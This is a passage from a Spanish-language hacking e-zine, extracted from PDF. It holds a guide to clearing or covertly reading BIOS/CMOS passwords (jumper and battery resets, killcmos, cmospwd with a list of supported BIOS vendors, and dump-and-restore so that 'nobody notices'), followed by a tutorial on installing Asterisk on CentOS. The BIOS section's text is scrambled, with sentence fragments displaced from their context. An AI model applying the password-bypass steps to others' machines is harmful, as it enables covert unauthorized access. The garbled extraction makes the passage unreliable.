Para limpiar el contenido habría 1ero q apagar la pc, desconectarla d la corriente, cambiar el jumper a la posición 2/3 y esperar 30 segs... x las dudas y para acelerar el proceso es bueno presionar el botón d encendido con la pc desconectada para q descargue lac Esta corriente es la responsable d q cuando sacamos la pila no c pierda la configuración hasta después d 1 buen rato. también c puede utilizar este método si no c encuentra el jumper (algunos mothers no lo traían a unq ahora creo q ya viene en todos)... sacar la pila y esperar 1 buen rato (hasta 20/30 mins)... o presionar el encendido como decíamos antes o mejor aun hacer 1 pequeño corto entre los contactos del porta-batería, esto descalo Estos métodos sirven siempre y cuando c tenga acceso a abrir la pc y meter mano adentro pero hay casos en los q x 1 razón u otra esto no es posible, para esos casos tenemos herramientas d soft q pueden tanto borrar la pass como también algo muchísimo mejor... decirnos cual es... je... aunq no c entusiasmen... esto ultimo no funciona com

corriente q queda almacenada en los apacitores.

rga instantáneamente s capacitores y borra todo.

n todos los others pero algo es algo...

mos a empezar x lo mismo q antes... borrarla.

setup o cargar valores predeterminados y continuar.

va

tenemos varias utilidades, en el hiren´s boot cd q podemos bajar d esta misma sección hay unas cuantas. el + conocido es el killcmos q lo q hace es agregar 1 bit "extra" en el CMOS, lo q hace q c corrompa... al corromperse vuelve a la conf d fabrica (c borra) y al iniciar muestra el clásico mensaje d CMOS cheksum bad y pide entrar al

finalmente tenemos utilidades para ver la pass sin tener q borrarla, lo cual es muy útil si queremos q no c den cuenta d q estuvimos metiendo mano... el mejor d los q conozco d este tipo es el cmospwd: http://www.cgsecurity.org/wiki/CmosPwd trabaja con estos tipos d chips d bios: * ACER/IBM BIOS * AMI BIOS * AMI WinBIOS 2.5 * Award 4.5x/4.6x/6.0 * Compaq (1992) * Compaq (New version) * IBM (PS/2, Activa, Thinkpad) * Packard Bell * Phoenix 1.00.09.AC0 (1994), a486 1.03, 1.04, 1.10 A03, 4.05 rev 1.02.943, 4.06 rev 1.13.1107 * Phoenix 4 release 6 (User) * Gateway Solo - Phoenix 4.0 release 6 * Toshiba * Zenith AMI D cualquiera d estos nos da en texto limpio la pass sin + q correrlo. en equipos muy nuevos es posible q no funcione pero x lo gral da buenos resultados... otra opción q tiene para los + experimentados es hacer 1 dump del contenido del cmos para después dejarlo como estaba. o sea q podemos copiar el contenido, después borrar el CMOS para poder acceder y 1 vez q tenemos acceso volver a grabarlo como estaba antes... esto c hace con el modificador "/d".

By |_ocutus

Page 63: Joejdf - WordPress.com · 2008-05-21 · ¾ Aprende cambiar tus IP y crear un reseteador de estas (siendo dinámicas o Estática) En este manual Tratare de enseñar a usar el Hide

Networking & wireless

Instalacion de Asterisk II CUH e-zine 3ª Edicion

Instalacion de Asterisk II By JUCA

INSTALACIÓN DE ASTERISK

Existen 2 versiones estables disponibles para la descarga Asterisk 1.1.18 y Asterisk 1.4.4 Para instalar correctamente asterisk

se necesita descargar de paquetes adicionales.

Para la versión 1.2.18 se necesitan estos paquetes:

‐ asterisk-1.2.18.tar.gz (obligatorio instalar)

‐ asterisk-addons-1.2.6.tar.gz (adicional)

‐ asterisk-sounds-1.2.1.tar.gz (adicional)

‐ libpri-1.2.4.tar.gz (obligatorio instalar)

‐ zaptel-1.2.18.tar.gz (obligatorio instalar)

Para la versión 1.4.4 se necesitan estos paquetes:

‐ asterisk-1.4.4.tar.gz (obligatorio instalar)

‐ asterisk-addons-1.4.1.tar.gz (adicional)op

‐ libpri-1.4.0.tar.gz (obligatorio instalar)

‐ zaptel-1.4.3.tar.gz (obligatorio instalar)

Para conseguir este software se debe ingresar a: http://www.asterisk.org/downloads Este es el sitio oficial de descarga. Empresa responsable del desarrollo de Asterisk es Digium http://www.digium.com/en/index.php La siguiente instalación se la realizara en la distribución Centos 4.3 con asterisk 1.4.4

Requisitos Para configurar un sistema Asterisk se requiere de un PC con GNU/Linux donde se instalará el software (Ahora existen versiones de asterisk que se pueden instalar incluso en Windows). Para esto se puede utilizar cualquier PC tipo Pentium (PII, PIII, Athlon, Xeon, etc.), y cualquier tarjeta de interfaz telefónica de Digium, estos determinarán la capacidad final de la máquina. Es necesario revisar que versión de kernel estamos

utilizando para esto podemos utilizar cualquiera de estos 2 comandos:

#uname –a

#rpm –q kernel-devel

Lo podemos ver en esta imagen:

Para una correcta instalación deben estar instalados algunos paquetes para ver si estos se encuentran instalados correctamente se tiene que poner lo siguiente:

rpm -q bison rpm -q bison-devel rpm -q ncurses rpm -q ncurses-devel rpm -q zlib rpm -q zlib-devel rpm -q openssl rpm -q openssl-devel rpm -q gnutls-devel rpm -q gcc rpm -q gcc-c++

Si es que alguno de estos paquetes no hubiera seria necesario descargárselos desde internet para esto podemos utilizar la instrucción “yum” que nos sirve para hacer una actualización automática de los paquetes.

yum install bison yum install bison-devel yum install ncurses yum install ncurses-devel yum install zlib yum install zlib-devel yum install openssl yum install openssl-devel yum install gnutls-devel yum install gcc

Page 64: Joejdf - WordPress.com · 2008-05-21 · ¾ Aprende cambiar tus IP y crear un reseteador de estas (siendo dinámicas o Estática) En este manual Tratare de enseñar a usar el Hide

Networking & wireless

Instalacion de Asterisk II CUH e-zine 3ª Edicion yum install gcc-c++

Si esta deshabilitada el comando “yum” se debe buscar uno a uno cada paquete que falta instalar se lo puede hacer en esta web:

http://rpm.pbone.net/

Luego de descargar el paquete existen 2 formas de instalarlo.

Si se esta en la parte grafica se hace doble click sobre el archivo he inmediatamente se instala.

Si se lo desea hacer desde la línea de comando se debe utilizar las siguientes instrucciones.

rpm -i paquete.rpm rpm -Uvh paquete.rpm

Centos no instala el código del kernel dentro del /usr/src/linux directorio esta escrito en Zaptel y Asterisks Makefile.

Envía a /usr/src y crea un link llamado Linux al directorio de nuestro kernel por defecto están ubicados en /usr/src/kernels/…

El resultado es el siguiente:

Luego creamos una carpeta donde copiaremos todos los archivos necesarios para esto ponemos:

#mkdir asterisk

En esta carpeta tendremos nuestros archivos:

Luego de esto procedemos a descomprimir e instalar

Si se desea optimizar el descomprimir los archivos rápidamente se lo puede hacer en una sola línea

Primero ingresamos en la carpeta donde están todos

los archivos y luego ejecutamos lo siguiente:

# for i in * ; do tar –zxvf $i; done;

Luego de esto se aplasta enter y todos los archives comienzan a descomprimirse:

Si no se desea el hacerlo de esta forma ya que se prefiere hacer paso a paso el resultado es el mismo pero en cada explicación diremos como se debe descomprimir

Instalando Libpri

cd /ruta/de/codigo/libpri make make install

Luego de que se acabe esta primera parte escribimos make install como se indico en las indicaciones anteriores

Page 65: Joejdf - WordPress.com · 2008-05-21 · ¾ Aprende cambiar tus IP y crear un reseteador de estas (siendo dinámicas o Estática) En este manual Tratare de enseñar a usar el Hide

Networking & wireless

Instalacion de Asterisk II CUH e-zine 3ª Edicion

Instalando Zaptel:

cd /usr/src/asterisk/zaptel # Si tienes kernel a 2.4 solo se debe escribir make make # Si tienes kernel a 2.6 solo se debe escribir make linux26 make linux26 - Si tienes kernel a 2.6

En este caso a pesar de tener kernel2.6 tan solo fue necesario escribir make

Luego se digita make install

Instalando Asterisk:

cd /usr/src/asterisk/asterisk # Antes se debe tener instalado el paquete de Asterisk mpg123 package (para archives mp3 en

música de espera). make mpg123 # Para Asterisk v1.4 se de configurar el archivo

./configure make make install make samples

Primero se escribe ./configure al final de esta parte de la instalación sale el siguiente mensaje:

Luego va la segunda parte de la instalación escribiendo el comando make

Page 66: Joejdf - WordPress.com · 2008-05-21 · ¾ Aprende cambiar tus IP y crear un reseteador de estas (siendo dinámicas o Estática) En este manual Tratare de enseñar a usar el Hide

Networking & wireless

Instalacion de Asterisk II CUH e-zine 3ª Edicion Luego debemos digitar make install como nos indica la propia instalación de asterisk

Y de la misma forma finalmente digitamos make samples

Aquí es donde configuraremos todo el asterisk vía comando.

Instalación Asterisk Gui

Para la interfaz grafica de asterisk se tiene que hace algunas cosas adicionales en la instalación.

Se debe digitar esto en el prompt:

svn checkout http://svn.digium.com/svn/asterisk-gui/trunk asterisk-gui Luego de todos estos pasos solo resta verificar la

instalación de asterisk . Con esto se descarga los paquetes necesarios para instalar la parte grafica. Encendiendo el demonio de asterisk digitando

`safe_asterisk`y conectarse en modo consola digitando Luego :

`asterisk -vvvvvr`. Make

Makeinstall

El resultado es una pantalla similar a esta:

Finalmente reiniciamos la configuración con el comando `reload` y se cambia a otro color el Shell de GNU/Linux

En nuevas entregas seguiremos hablando sobre una nueva forma de instalar asterisk con una distribución dedicada exclusivamente a esto. Saludos JUCA www.hackeruna.com

Page 67: Joejdf - WordPress.com · 2008-05-21 · ¾ Aprende cambiar tus IP y crear un reseteador de estas (siendo dinámicas o Estática) En este manual Tratare de enseñar a usar el Hide

Hacking Newbie

Utilidades MSN CUH e-zine 3ª Edicion

Modding Gallery 3

Modding Gallery

Page 68: Joejdf - WordPress.com · 2008-05-21 · ¾ Aprende cambiar tus IP y crear un reseteador de estas (siendo dinámicas o Estática) En este manual Tratare de enseñar a usar el Hide

Hacking Newbie

Utilidades MSN CUH e-zine 3ª Edicion

Page 69: Joejdf - WordPress.com · 2008-05-21 · ¾ Aprende cambiar tus IP y crear un reseteador de estas (siendo dinámicas o Estática) En este manual Tratare de enseñar a usar el Hide

Hacking Newbie

Utilidades MSN CUH e-zine 3ª Edicion